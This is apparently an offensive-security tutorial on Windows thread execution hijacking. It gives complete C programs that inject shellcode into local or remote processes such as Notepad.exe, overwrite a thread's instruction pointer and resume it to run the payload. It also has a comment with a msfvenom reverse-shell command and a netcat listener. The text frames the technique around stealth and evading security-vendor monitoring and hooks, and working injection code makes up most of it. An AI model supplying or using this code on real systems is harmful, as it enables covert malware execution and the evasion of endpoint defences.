Thread Execution Hijacking is a technique that can execute a payload without the need of creating a new thread. The way this technique works is by suspending the thread and updating the register that points to the next instruction in memory to point to the start of the payload. When the thread resumes execution, the payload is executed.
Why hijack a created thread to execute a payload instead of executing the payload using a newly created thread?
Because of payload exposure and stealth. Creating a new thread for payload execution will expose the base address of the payload, and thus the payload's content because a new thread's entry must point to the payload's base address in memory. This is not the case with thread hijacking because the thread's entry would be pointing at a normal process function and therefore the thread would appear benign.
Every thread has a scheduling priority and maintains a set of structures that the system saves to the thread's context. Thread context includes all the information the thread needs to seamlessly resume execution, including the thread's set of CPU registers and stack.
Local Thread Creation
This technique consists of hijacking a locally created sacrificial thread to execute a payload.
The first step is creating the target thread since it's not possible to hijack a local process's main thread because the targeted thread needs to first be placed in a suspended state
CreateThread will initially be called to create a thread and set a benign function as the thread's entry.
The next step is to retrieve the thread's context using GetThreadContext in order to modify it and make it point at a payload.
Then CreateThread WinAPI will be used to create a new sacrificial thread. The new thread should appear as benign as possible to avoid detection. This can be achieved by making a benign function that gets executed by this newly created thread.
The next step is to suspend the newly created thread for GetThreadContext to succeed.
ResumeThread WinAPI will then be used to resume the thread.
#include<Windows.h>#include<stdio.h>// payload ; msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.16.111 LPORT=4444 -f raw -o reverse.bin// listner ; nc -nlvp 4444 (on the 192.168.16.111 machine)unsignedchar NcPayload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// Rest of the shellcode0x89,0xDA,0xFF,0xD5};// x64 calc payloadunsignedchar CalcPayload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// Rest of the shellcode0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};// dummy function to use for the sacrificial threadVOID DummyFunction() {// stupid codeint j =rand();int i = j * j;}BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) { PVOID pAddress =NULL; DWORD dwOldProtection =NULL; // .ContextFlags can be CONTEXT_CONTROL or CONTEXT_ALL as well (this will add more information to the context retrieved)
CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_CONTROL };// Allocating memory for the payload pAddress =VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pAddress ==NULL){printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());returnFALSE; }// Copying the payload to the allocated memorymemcpy(pAddress, pPayload, sPayloadSize);// Changing the memory protectionif (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());returnFALSE; }// Getting the original thread contextif (!GetThreadContext(hThread,&ThreadCtx)){printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }// Updating the next instruction pointer to be equal to the payload's address ThreadCtx.Rip = pAddress; /* - in case of a x64 payload injection : we change the value of `Rip` - in case of a x32 payload injection : we change the value of `Eip` */// setting the new updated thread contextif (!SetThreadContext(hThread,&ThreadCtx)) {printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}intmain() { HANDLE hThread =NULL; DWORD dwThreadId =NULL;// Creating sacrificial thread in suspended state hThread =CreateThread(NULL,NULL, (LPTHREAD_START_ROUTINE) &DummyFunction,NULL, CREATE_SUSPENDED,&dwThreadId);if (hThread ==NULL) {printf("[!] CreateThread Failed With Error : %d \n", GetLastError());returnFALSE; }printf("[i] Hijacking Thread Of Id : %d ... ", dwThreadId);// hijacking the sacrificial thread createdif (!RunViaClassicThreadHijacking(hThread, CalcPayload,sizeof(CalcPayload))) {return-1; }printf("[+] DONE \n");printf("[#] Press <Enter> To Run The Payload ... ");getchar();// resuming suspended thread, so that it runs our shellcodeResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Remote Thread Creation
This technique consists of hijacking a remotely created sacrificial thread to execute a payload.
Same technique as the previous but against a remote process rather than the local process.
However, a better approach is used, which consits in creating a sacrificial process in a suspended state using CreateProcess which will create all of its threads in a suspended state, allowing them to be hijacked, since CreateRemoteThread WinAPI call it is a commonly abused function and its highly monitored.
So first we will create a process with CreateProcess WinAPI (using enviroment variables).
Then, CreateSuspendedProcess will be used to create the sacrificial process in a suspended state.
The next is to inject the payload using the same InjectShellcodeToRemoteProcess function as the one used in Process Injection section.
The final step is to use the thread handle which was returned by CreateSuspendedProcess to perform thread hijacking. Here, GetThreadContext is used to retrieve the thread's context, update the RIP register to point to the written payload, call SetThreadContext to update the thread's context and finally use ResumeThread to execute the payload.
#include<Windows.h>#include<stdio.h>// disable error 4996 (caused by sprint)#pragmawarning (disable:4996)#defineTARGET_PROCESS"Notepad.exe"// x64 calc metasploit shellcode unsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// Rest of the shellcode0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};/*Parameters: - lpProcessName; a process name under '\System32\' to create - dwProcessId; A pointer to a DWORD that recieves the process ID. - hProcess; A pointer to a HANDLE that recieves the process handle. - hThread; A pointer to a HANDLE that recieves the thread handle.Creates a new process 'lpProcessName' in suspended state and return its pid, handle, and the handle of its main thread*/BOOL CreateSuspendedProcess(IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH *2]; CHAR WnDr [MAX_PATH]; STARTUPINFO Si = { 0 }; PROCESS_INFORMATION Pi = { 0 };// Cleaning the structs by setting the member values to 0RtlSecureZeroMemory(&Si,sizeof(STARTUPINFO));RtlSecureZeroMemory(&Pi,sizeof(PROCESS_INFORMATION));// Setting the size of the structure Si.cb =sizeof(STARTUPINFO);// Getting the value of the %WINDIR% environment variable (this is usually 'C:\Windows')if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());returnFALSE; }// Creating the full target process path sprintf(lpPath,"%s\\System32\\%s", WnDr, lpProcessName);printf("\n\t[i] Running : \"%s\" ... ", lpPath);if (!CreateProcessA(NULL, // No module name (use command line) lpPath, // Command lineNULL, // Process handle not inheritableNULL, // Thread handle not inheritableFALSE, // Set handle inheritance to FALSE CREATE_SUSPENDED, // creation flags NULL, // Use parent's environment blockNULL, // Use parent's starting directory &Si, // Pointer to STARTUPINFO structure&Pi)) { // Pointer to PROCESS_INFORMATION structureprintf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());returnFALSE; }printf("[+] DONE \n");// Populating the OUT parameters with CreateProcessA's output*dwProcessId = Pi.dwProcessId;*hProcess = Pi.hProcess;*hThread = Pi.hThread;// Doing a check to verify we got everything we needif (*dwProcessId !=NULL&&*hProcess !=NULL&&*hThread !=NULL)returnTRUE;returnFALSE;}// InjectShellcodeToRemoteProcess function from Process Injection sectionBOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten =NULL; DWORD dwOldProtection =NULL;*ppAddress =VirtualAllocEx(hProcess,NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (*ppAddress ==NULL) {printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\n\t[i] Allocated Memory At : 0x%p \n",*ppAddress);printf("\t[#] Press <Enter> To Write Payload ... ");getchar(); if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n",GetLastError());returnFALSE; }printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);if (!VirtualProtectEx(hProcess,*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}/*Parameters: - hThread; suspended thread handle - pAddress; base address of the shellcode written to the process running 'hThread'Performs thread hijacking, and resumes the thread after to run the payload at 'pAddress'*/BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) { CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_CONTROL };// getting the original thread contextif (!GetThreadContext(hThread,&ThreadCtx)) {printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }// updating the next instruction pointer to be equal to our shellcode's address ThreadCtx.Rip = pAddress;// setting the new updated thread contextif (!SetThreadContext(hThread,&ThreadCtx)) {printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\n\t[#] Press <Enter> To Run ... ");getchar();// resuming suspended thread, thus running our payloadResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);returnTRUE;}intmain() { HANDLE hProcess =NULL, hThread =NULL; DWORD dwProcessId =NULL; PVOID pAddress =NULL;// creating target remote process (in suspended state)printf("[i] Creating \"%s\" Process ... ", TARGET_PROCESS);if (!CreateSuspendedProcess(TARGET_PROCESS,&dwProcessId,&hProcess,&hThread)) {return-1; }printf("\t[i] Target Process Created With Pid : %d \n", dwProcessId);printf("[+] DONE \n\n");// injecting the payload and getting the base address of itprintf("[i] Writing Shellcode To The Target Process ... ");if (!InjectShellcodeToRemoteProcess(hProcess, Payload,sizeof(Payload),&pAddress)) {return-1; }printf("[+] DONE \n\n");// performing thread hijacking to run the payloadprintf("[i] Hijacking The Target Thread To Run Our Shellcode ... ");if (!HijackThread(hThread, pAddress)) {return-1; }printf("[+] DONE \n\n");printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Local Thread Enumeration
This technique consists of hijacking a local sacrificial thread to execute a payload without thread creation.
This is an alternative method where the system's running threads are enumerated using CreateToolhelp32Snapshot and then hijacked, instead of creating a target thread and modifying its context.
The following WinAPIs will be used to perform thread enumeration.
CreateToolhelp32Snapshot --> Used with the TH32CS_SNAPTHREAD flag to receive a snapshot of all the threads running on the system.
Thread32First --> Used to get the information about the first thread captured in the snapshot.
Thread32Next --> Used to get the information about the next thread in the captured snapshot.
OpenThread --> Used to open a handle to the target thread using its thread ID.
GetCurrentProcessId --> Used to retrieve the local process's PID. Since the local process is the target process, its PID is required to determine whether the threads belong to this process.
Once a valid handle to the target thread has been obtained, it can be passed to the previous HijackThread function.
#include<Windows.h>#include<stdio.h>#include<Tlhelp32.h>// x64 calc metasploit shellcode unsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// Rest of shellcode0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};/*searches for the local threads of the local process, and return a handle to a worker thread */BOOL GetLocalThreadHandle(IN DWORD dwMainThreadId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) {// Getting the local process ID DWORD dwProcessId =GetCurrentProcessId(); HANDLE hSnapShot =NULL; THREADENTRY32 Thr = { .dwSize =sizeof(THREADENTRY32) };// Takes a snapshot of the currently running processes's threads hSnapShot =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);if (hSnapShot == INVALID_HANDLE_VALUE) {printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }// Retrieves information about the first thread encountered in the snapshot.if (!Thread32First(hSnapShot,&Thr)) {printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }do {// If the thread's PID is equal to the PID of the target process then// this thread is running under the target process// The 'Thr.th32ThreadID != dwMainThreadId' is to avoid targeting the main thread of our local processif (Thr.th32OwnerProcessID == dwProcessId &&Thr.th32ThreadID != dwMainThreadId) {// Opening a handle to the thread *dwThreadId =Thr.th32ThreadID;*hThread =OpenThread(THREAD_ALL_ACCESS,FALSE,Thr.th32ThreadID);if (*hThread ==NULL)printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());break; }// While there are threads remaining in the snapshot } while (Thread32Next(hSnapShot,&Thr));_EndOfFunction:if (hSnapShot !=NULL)CloseHandle(hSnapShot);if (*dwThreadId ==NULL||*hThread ==NULL)returnFALSE;returnTRUE;}BOOL InjectShellcodeToLocalProcess(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { DWORD dwOldProtection =NULL;*ppAddress =VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (*ppAddress ==NULL) {printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[i] Allocated Memory At : 0x%p \n",*ppAddress);printf("\t[#] Press <Enter> To Write Payload ... ");getchar();memcpy(*ppAddress, pShellcode, sSizeOfShellcode);if (!VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("\t[!] VirtualProtect Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}BOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) { CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_ALL };// suspend the thread passed inSuspendThread(hThread);if (!GetThreadContext(hThread,&ThreadCtx)) {printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }ThreadCtx.Rip = pAddress;if (!SetThreadContext(hThread,&ThreadCtx)) {printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[#] Press <Enter> To Run ... ");getchar();ResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);returnTRUE;}intmain() { HANDLE hThread =NULL; DWORD dwMainThreadId =NULL, dwThreadId =NULL; PVOID pAddress =NULL;// getting the main thread id, since we are calling from our main thread, and not from a worker thread// 'GetCurrentThreadId' will return the main thread ID dwMainThreadId =GetCurrentThreadId();printf("[i] Searching For A Thread Under The Local Process ... \n");if (!GetLocalThreadHandle(dwMainThreadId,&dwThreadId,&hThread)) {printf("[!] No Thread is Found \n");return-1; }printf("\t[i] Found Target Thread Of Id: %d \n", dwThreadId);printf("[+] DONE \n\n");printf("[i] Writing Shellcode To The Local Process ... \n");if (!InjectShellcodeToLocalProcess(Payload,sizeof(Payload),&pAddress)) {return-1; }printf("[+] DONE \n\n");printf("[i] Hijacking The Target Thread To Run Our Shellcode ... \n");if (!HijackThread(hThread, pAddress)) {return-1; }printf("[+] DONE \n\n");printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
Remote Thread Enumeration
This technique consists of hijacking a remote sacrificial thread to execute a payload without thread creation.
The difference when targeting remote processes is that the main thread is a valid target for hijacking.
It will first get the target process's PID, and then inject the payload and hijack its thread ID.
CreateToolhelp32Snapshot (C)
CreateToolhelp32Snapshot is used like in Local Thread Enumeration with minor changes to make it work agains remote threads.
#include<Windows.h>#include<stdio.h>#include<Tlhelp32.h>// x64 calc metasploit shellcode unsignedchar Payload[]= {0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC0,0x00,0x00,0x00,0x41,0x51,// Rest of the shellcode0xDA,0xFF,0xD5,0x63,0x61,0x6C,0x63,0x00};// get the process handle of the target process `szProcessName`BOOL GetRemoteProcessHandle(IN LPWSTR szProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess) { HANDLE hSnapShot =NULL; PROCESSENTRY32 Proc = { .dwSize =sizeof(PROCESSENTRY32) };// Takes a snapshot of the currently running processes hSnapShot =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);if (hSnapShot == INVALID_HANDLE_VALUE) {printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }// Retrieves information about the first process encountered in the snapshot.if (!Process32First(hSnapShot,&Proc)) {printf("\n\t[!] Process32First Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }do { WCHAR LowerName[MAX_PATH *2];if (Proc.szExeFile) { DWORD dwSize =lstrlenW(Proc.szExeFile); DWORD i =0;RtlSecureZeroMemory(LowerName, MAX_PATH *2);// converting each charachter in Proc.szExeFile to a lower case character and saving it// in LowerName to do the *wcscmp* call later ...if (dwSize < MAX_PATH *2) {for (; i < dwSize; i++) LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]); LowerName[i++] ='\0'; } }// compare the enumerated process path with what is passed, if equal ..if (wcscmp(LowerName, szProcessName)==0) {// we save the process id *dwProcessId =Proc.th32ProcessID;// we open a process handle and return*hProcess =OpenProcess(PROCESS_ALL_ACCESS,FALSE,Proc.th32ProcessID);if (*hProcess ==NULL)printf("\n\t[!] OpenProcess Failed With Error : %d \n", GetLastError());break; }// Retrieves information about the next process recorded the snapshot. } while (Process32Next(hSnapShot,&Proc));// while we can still have a valid output ftom Process32Net, continue looping_EndOfFunction:if (hSnapShot !=NULL)CloseHandle(hSnapShot);if (*dwProcessId ==NULL||*hProcess ==NULL)returnFALSE;returnTRUE;}// get the thread handle of a remote process of pid : `dwProcessId`BOOL GetRemoteThreadhandle(IN DWORD dwProcessId, OUT DWORD* dwThreadId, OUT HANDLE* hThread) { HANDLE hSnapShot =NULL; THREADENTRY32 Thr = { .dwSize =sizeof(THREADENTRY32) };// Takes a snapshot of the currently running processes's threads hSnapShot =CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);if (hSnapShot == INVALID_HANDLE_VALUE) {printf("\n\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }// Retrieves information about the first thread encountered in the snapshot.if (!Thread32First(hSnapShot,&Thr)) {printf("\n\t[!] Thread32First Failed With Error : %d \n", GetLastError());goto _EndOfFunction; }do {// If the thread's PID is equal to the PID of the target process then// this thread is running under the target processif (Thr.th32OwnerProcessID == dwProcessId){*dwThreadId =Thr.th32ThreadID;*hThread =OpenThread(THREAD_ALL_ACCESS,FALSE,Thr.th32ThreadID);if (*hThread ==NULL)printf("\n\t[!] OpenThread Failed With Error : %d \n", GetLastError());break; }// While there are threads remaining in the snapshot } while (Thread32Next(hSnapShot,&Thr));_EndOfFunction:if (hSnapShot !=NULL)CloseHandle(hSnapShot);if (*dwThreadId ==NULL||*hThread ==NULL)returnFALSE;returnTRUE;}// inject the payload to the remote process of handle `hProcess`BOOL InjectShellcodeToRemoteProcess(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten =NULL; DWORD dwOldProtection =NULL;*ppAddress =VirtualAllocEx(hProcess,NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (*ppAddress ==NULL) {printf("\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[i] Allocated Memory At : 0x%p \n",*ppAddress);printf("\t[#] Press <Enter> To Write Payload ... ");getchar(); if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\t[!] WriteProcessMemory Failed With Error : %d \n",GetLastError());returnFALSE; }printf("\t[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);if (!VirtualProtectEx(hProcess,*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE,&dwOldProtection)) {printf("\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());returnFALSE; }returnTRUE;}// perform thread hijackingBOOL HijackThread(IN HANDLE hThread, IN PVOID pAddress) { CONTEXT ThreadCtx = { .ContextFlags = CONTEXT_ALL };// suspend the threadSuspendThread(hThread);if (!GetThreadContext(hThread,&ThreadCtx)) {printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }ThreadCtx.Rip = pAddress;if (!SetThreadContext(hThread,&ThreadCtx)) {printf("\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());returnFALSE; }printf("\t[#] Press <Enter> To Run ... ");getchar();ResumeThread(hThread);WaitForSingleObject(hThread, INFINITE);returnTRUE;}intwmain(int argc,wchar_t* argv[]) { HANDLE hProcess =NULL, hThread =NULL; DWORD dwProcessId =NULL, dwThreadId =NULL; PVOID pAddress =NULL;if (argc <2) {wprintf(L"[!] Usage : \"%s\" <Process Name> \n", argv[0]);return-1; }//-----------------------------------------------------------------------wprintf(L"[i] Searching For Process Id Of \"%s\" ... \n", argv[1]);if (!GetRemoteProcessHandle(argv[1],&dwProcessId,&hProcess)) {printf("[!] Process is Not Found \n");return-1; }printf("\t[i] Found Target Process Pid: %d \n", dwProcessId);printf("[+] DONE \n\n");//-----------------------------------------------------------------------printf("[i] Searching For A Thread Under The Target Process ... \n");if (!GetRemoteThreadhandle(dwProcessId,&dwThreadId,&hThread)) {printf("[!] No Thread is Found \n");return-1; }printf("\t[i] Found Target Thread Of Id: %d \n", dwThreadId);printf("[+] DONE \n\n");//-----------------------------------------------------------------------printf("[i] Writing Shellcode To The Target Process ... \n");if (!InjectShellcodeToRemoteProcess(hProcess, Payload,sizeof(Payload),&pAddress)) {return-1; }printf("[+] DONE \n\n");//-----------------------------------------------------------------------printf("[i] Hijacking The Target Thread To Run Our Shellcode ... \n");if (!HijackThread(hThread, pAddress)) {return-1; }printf("[+] DONE \n\n");CloseHandle(hThread);CloseHandle(hProcess);printf("[#] Press <Enter> To Quit ... ");getchar();return0;}
NtQuerySystemInformation (C)
Unfortunately, that previous approach can be problematic since it would first require the use of API hashing to hide these WinAPIs from the IAT. Secondly, even with API hashing in use, the previously mentioned WinAPIs make use of lower-level syscalls that can eventually be hooked by security vendors.
Using syscalls to enumerate threads is preferable as it skips past the use of WinAPIs.
NtQuerySystemInformation will be invoked with the SystemProcessInformation flag to obtain an array of SYSTEM_PROCESS_INFORMATION. In this array, every element corresponds to a running process. By accessing the Threads member of each element, which is an array of the SYSTEM_THREAD_INFORMATION structure, one can uncover the active threads within the process.
NtQuerySystemInformation will be called twice, the first call retrieves the SYSTEM_PROCESS_INFORMATION array size, which is then used to allocate a buffer. The second call is to use the allocated buffer to fetch the array.
#include<Windows.h>#include<stdio.h>#include"Structs.h"// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/thread.htm?ts=0,313#defineSTATUS_SUCCESS0x00000000#defineSTATUS_INFO_LENGTH_MISMATCH0xC0000004// function pointer// https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformationtypedefNTSTATUS (WINAPI* fnNtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);BOOL GetRemoteProcessThreads(IN LPCWSTR szProcName, OUT DWORD* pdwPid, OUT DWORD* pdwThread) { fnNtQuerySystemInformation pNtQuerySystemInformation =NULL; ULONG uReturnLen1 =NULL, uReturnLen2 =NULL; PSYSTEM_PROCESS_INFORMATION SystemProcInfo =NULL; PVOID pValueToFree =NULL; NTSTATUS STATUS =NULL;// Fetching NtQuerySystemInformation's address from ntdll.dll pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation ==NULL) {printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());goto _EndOfFunc; }// First NtQuerySystemInformation call - retrieve the size of the return buffer (uReturnLen1) if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1)) != STATUS_SUCCESS && STATUS != STATUS_INFO_LENGTH_MISMATCH) {
printf("[!] NtQuerySystemInformation [1] Failed With Error : 0x%0.8X \n", STATUS);goto _EndOfFunc; }// Allocating buffer of size "uReturnLen1" SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);if (SystemProcInfo ==NULL) {printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());goto _EndOfFunc; }// Setting a fixed variable to be used later to free, because "SystemProcInfo" will be modefied pValueToFree = SystemProcInfo;// Second NtQuerySystemInformation call - returning the SYSTEM_PROCESS_INFORMATION array (SystemProcInfo) if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2)) != STATUS_SUCCESS) {
printf("[!] NtQuerySystemInformation [2] Failed With Error : 0x%0.8X \n", STATUS);goto _EndOfFunc; }// Enumerating SystemProcInfo, looking for process "szProcName"while (TRUE) {if (SystemProcInfo->ImageName.Length &&wcscmp(SystemProcInfo->ImageName.Buffer, szProcName)==0) {// Target process is found, return PID & TID and break*pdwPid = (DWORD)SystemProcInfo->UniqueProcessId;*pdwThread = (DWORD)SystemProcInfo->Threads[0].ClientId.UniqueThread;break; }// If we reached the end of the SYSTEM_PROCESS_INFORMATION structureif (!SystemProcInfo->NextEntryOffset)break;// Calculate the next SYSTEM_PROCESS_INFORMATION element in the array SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo +SystemProcInfo->NextEntryOffset); }// Free the SYSTEM_PROCESS_INFORMATION structure_EndOfFunc:if (pValueToFree)HeapFree(GetProcessHeap(),0, pValueToFree);if (*pdwPid !=NULL&&*pdwThread !=NULL)returnTRUE;elsereturnFALSE;}VOID ListRemoteProcessThreads(IN LPCWSTR szProcName) { fnNtQuerySystemInformation pNtQuerySystemInformation =NULL; ULONG uReturnLen1 =NULL, uReturnLen2 =NULL; PSYSTEM_PROCESS_INFORMATION SystemProcInfo =NULL; PSYSTEM_THREAD_INFORMATION SystemThreadInfo =NULL; PVOID pValueToFree =NULL; NTSTATUS STATUS =NULL;// Fetching NtQuerySystemInformation's address from ntdll.dll pNtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtQuerySystemInformation");
if (pNtQuerySystemInformation ==NULL) {printf("[!] GetProcAddress Failed With Error : %d\n", GetLastError());goto _EndOfFunc; }// First NtQuerySystemInformation call - retrieve the size of the return buffer (uReturnLen1) if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, NULL, NULL, &uReturnLen1)) != STATUS_SUCCESS && STATUS != STATUS_INFO_LENGTH_MISMATCH) {
printf("[!] NtQuerySystemInformation [1] Failed With Error : 0x%0.8X \n", STATUS);goto _EndOfFunc; }// Allocating buffer of size "uReturnLen1" SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)uReturnLen1);if (SystemProcInfo ==NULL) {printf("[!] HeapAlloc Failed With Error : %d\n", GetLastError());goto _EndOfFunc; }// Setting a fixed variable to be used later to free, because "SystemProcInfo" will be modefied pValueToFree = SystemProcInfo;// Second NtQuerySystemInformation call - returning the SYSTEM_PROCESS_INFORMATION array (SystemProcInfo) if ((STATUS = pNtQuerySystemInformation(SystemProcessInformation, SystemProcInfo, uReturnLen1, &uReturnLen2)) != STATUS_SUCCESS) {
printf("[!] NtQuerySystemInformation [2] Failed With Error : 0x%0.8X \n", STATUS);goto _EndOfFunc; }// Enumerating SystemProcInfo, looking for process "szProcName"while (TRUE) {// Searching for thr process nameif (SystemProcInfo->ImageName.Length &&wcscmp(SystemProcInfo->ImageName.Buffer, szProcName)==0) { printf("[+] Found target process [ %ws ] - %ld \n", SystemProcInfo->ImageName.Buffer, SystemProcInfo->UniqueProcessId);
// Fetching the PSYSTEM_THREAD_INFORMATION array SystemThreadInfo = (PSYSTEM_THREAD_INFORMATION)SystemProcInfo->Threads;// Enumerating "SystemThreadInfo" of size SYSTEM_PROCESS_INFORMATION.NumberOfThreadsfor (DWORD i =0; i <SystemProcInfo->NumberOfThreads; i++) {printf("[+] Thread [ %d ] \n", i);printf("\t> Thread Id: %d \n", SystemThreadInfo[i].ClientId.UniqueThread);printf("\t> Thread's Start Address: 0x%p\n", SystemThreadInfo[i].StartAddress);printf("\t> Thread Priority: %d\n", SystemThreadInfo[i].Priority);printf("\t> Thread State: %d\n", SystemThreadInfo[i].ThreadState); }// Break from whilebreak; }// If we reached the end of the SYSTEM_PROCESS_INFORMATION structureif (!SystemProcInfo->NextEntryOffset)break;// Calculate the next SYSTEM_PROCESS_INFORMATION element in the array SystemProcInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)SystemProcInfo +SystemProcInfo->NextEntryOffset); }// Free the SYSTEM_PROCESS_INFORMATION structure_EndOfFunc:if (pValueToFree)HeapFree(GetProcessHeap(),0, pValueToFree);return;}#defineTARGET_PROCESS L"RuntimeBroker.exe"intmain(){ DWORD dwThreadId =NULL, dwProcessId;if (!GetRemoteProcessThreads(TARGET_PROCESS,&dwProcessId,&dwThreadId))return-1;else printf("[+] Target Process \"%ws\" Detected With PID [ %d ] & TID [ %d ]\n", TARGET_PROCESS, dwProcessId, dwThreadId);
//\ ListRemoteProcessThreads(TARGET_PROCESS);return0;}